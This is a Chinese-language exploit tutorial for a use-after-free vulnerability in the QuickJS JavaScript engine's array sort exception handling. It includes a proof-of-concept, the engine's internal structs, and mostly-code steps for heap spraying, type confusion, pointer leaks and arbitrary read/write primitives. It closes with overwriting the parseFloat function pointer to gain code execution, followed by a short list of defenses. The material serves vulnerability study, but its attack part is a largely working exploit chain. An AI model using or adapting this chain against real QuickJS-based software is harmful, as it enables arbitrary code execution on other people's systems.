QuickJS uaf 漏洞分析
字数 928 2025-08-26 22:11:40
QuickJS UAF漏洞分析与利用教学文档
漏洞概述
QuickJS是一个轻量级的JavaScript引擎,本文分析的漏洞是一个Use-After-Free(UAF)漏洞,存在于数组排序操作中。攻击者可以通过精心构造的JavaScript代码触发该漏洞,最终实现任意代码执行。
漏洞分析
POC代码
let spray = new Array(100);
let a = [{hack:0},1,2,3,4];
let refcopy = [a[0]];
a.__defineSetter__(3,()=>{throw 1;});
try {
a.sort(function(v){if (v == a[0]) return 0; return 1;});
}
catch (e){}
a[0] = 0;
for (let i=0; i<1000; i++) spray[i] = [13371337];
console.log(refcopy[0]);
漏洞触发流程
-
初始数组创建:
- 创建数组
a,其中第一个元素是一个对象{hack:0} - 创建
refcopy数组引用a[0],此时对象引用计数为2
- 创建数组
-
设置setter:
- 为数组
a的索引3设置setter函数,该函数会抛出异常
- 为数组
-
触发排序异常:
- 调用
a.sort(),在排序过程中会触发setter抛出异常 - 异常处理过程中会释放一些资源,导致对象引用计数减1(从2减到1)
- 调用
-
重新赋值:
a[0] = 0操作会释放原来的对象,引用计数减到0,对象被释放
-
UAF利用:
- 后续通过
refcopy[0]访问已释放的内存,造成UAF
- 后续通过
关键数据结构
JSObject结构
struct JSObject {
JSRefCountHeader header; /* must come first, 32-bit */
JSGCHeader gc_header; /* must come after JSRefCountHeader, 8-bit */
uint8_t extensible : 1;
uint8_t free_mark : 1; /* only used when freeing objects with cycles */
uint8_t is_exotic : 1; /* TRUE if object has exotic property handlers */
uint8_t fast_array : 1; /* TRUE if u.array is used for get/put */
uint8_t is_constructor : 1; /* TRUE if object is a constructor function */
uint8_t is_uncatchable_error : 1; /* if TRUE, error is not catchable */
uint8_t is_class : 1; /* TRUE if object is a class constructor */
uint8_t tmp_mark : 1; /* used in JS_WriteObjectRec() */
uint16_t class_id; /* see JS_CLASS_x */
struct list_head link; /* object list */
JSShape *shape; /* prototype and property names + flag */
JSProperty *prop; /* array of properties */
struct JSMapRecord *first_weak_ref;
union {
// ...
};
};
JSString结构
struct JSString {
JSRefCountHeader header; /* must come first, 32-bit */
uint32_t len : 31;
uint8_t is_wide_char : 1; /* 0 = 8 bits, 1 = 16 bits characters */
uint32_t hash : 30;
uint8_t atom_type : 2; /* != 0 if atom, JS_ATOM_TYPE_x */
uint32_t hash_next; /* atom_index for JS_ATOM_TYPE_SYMBOL */
union {
uint8_t str8[0]; /* 8 bit strings will get an extra null terminator */
uint16_t str16[0];
} u;
};
JSArrayBuffer结构
typedef struct JSArrayBuffer {
int byte_length; /* 0 if detached */
uint8_t detached;
uint8_t shared; /* if shared, the array buffer cannot be detached */
uint8_t *data; /* NULL if detached */
struct list_head array_list;
void *opaque;
JSFreeArrayBufferDataFunc *free_func;
} JSArrayBuffer;
漏洞利用
利用步骤
- 触发漏洞:通过POC代码触发UAF漏洞
- 类型混淆:通过内存操作使同一块内存被解释为不同类型
- 信息泄露:利用类型混淆泄露关键对象地址
- 任意地址读写:构建读写原语
- 代码执行:覆盖函数指针实现代码执行
详细利用过程
-
初始设置:
var spray = []; var jsobj_leak_data = new Uint32Array(0x38); jsobj_leak_data.fill(0); // 创建字符串用于后续内存操作 x = 'A'.repeat(50).slice(1); y = 'A'.repeat(50).slice(1); // 创建主从数组用于构建读写原语 master = new Uint32Array(0x40); master.fill(0x31313131); slave = new Uint32Array(0x40); slave.fill(0x61616161); -
堆喷布局:
for (var i = 0; i < 0x400; i++) { var x = new Uint32Array(0x1000 / 4); x.fill(0x51515151); spray.push(x); } // 创建空洞以便后续内存分配 for (var i = 0; i < spray.length; i += 0x4) { spray[i] = 0; } -
触发漏洞:
a = [ [0x2, 0x2, 0x2, /*...*/ ], 1, 2, 3, 4 ]; refcopy = a[0]; a.__defineSetter__(3, function () { throw 1; }); try { a.sort(function (v) { return 0; }); } catch (e) {} a[0] = 0x61616161; -
类型混淆构造:
// 分配JSString类型内存 refill_0 = 'A'.repeat(50).slice(1); refcopy = 0; // 分配JSObject类型内存 refill_1 = [0x2, 0x2, 0x2, /*...*/ ]; // 释放并重新分配内存 refill_1 = 0; refill_1 = [0x1337, 0x1337]; refill_0 = 0; refill_0 = [0x71717171]; // 分配ArrayBuffer类型内存 refill_1 = 0; x = 0; y = 0; refill_1 = new Uint32Array(0x48 / 4); refill_1.fill(0x41414141); -
信息泄露:
// 解析泄露的JSObject数据 for (var i = 0; i < 0x38; i += 4) { var ptr = 0; var val = ''; ptr = refill_0.slice(i, i + 4); for (var j = 3; j >= 0; j--) { var char = ptr.charCodeAt(j).toString(16); if (char.length == 1) char = '0' + char; val += char; } val = parseInt(val, 16); jsobj_leak_data[i / 4] = val; } // 获取关键指针 var shape = toint64(jsobj_leak_data[(24 - 0x10) / 4], jsobj_leak_data[(28 - 0x10) / 4]); var prop = toint64(jsobj_leak_data[(32 - 0x10) / 4], jsobj_leak_data[(36 - 0x10) / 4]); var values = toint64(jsobj_leak_data[(56 - 0x10) / 4], jsobj_leak_data[(60 - 0x10) / 4]); -
构建读写原语:
// 获取关键对象地址 master_addr = addrof(master); slave_addr = addrof(slave); parseFloat_addr = addrof(parseFloat); // 设置master->values指向slave地址 refill_1[(56) / 4] = (master_addr & 0xffffffff) + 56; refill_0[0] = slave; // 任意地址写函数 function write64(addr, val) { master[56 / 4] = (addr & 0xffffffff) >>> 0; master[60 / 4] = addr / 0x100000000; slave[0] = val & 0xffffffff; slave[1] = val / 0x100000000; } -
代码执行:
// 覆盖parseFloat函数指针 write64(parseFloat_addr + 0x30, 0x414141414141); parseFloat(); // 触发执行
防御措施
- 引用计数管理:确保在异常处理时正确维护引用计数
- 内存安全:使用内存安全语言或工具(如AddressSanitizer)检测UAF问题
- 输入验证:对JavaScript代码中的特殊操作(如setter定义)进行严格验证
- 隔离机制:使用沙箱技术限制脚本的执行权限
总结
该漏洞展示了QuickJS引擎在异常处理和内存管理方面的缺陷。通过精心构造的JavaScript代码,攻击者可以触发UAF漏洞,进而实现类型混淆、信息泄露和最终代码执行。理解这类漏洞的利用技术对于开发安全的JavaScript引擎和编写安全的JavaScript代码都具有重要意义。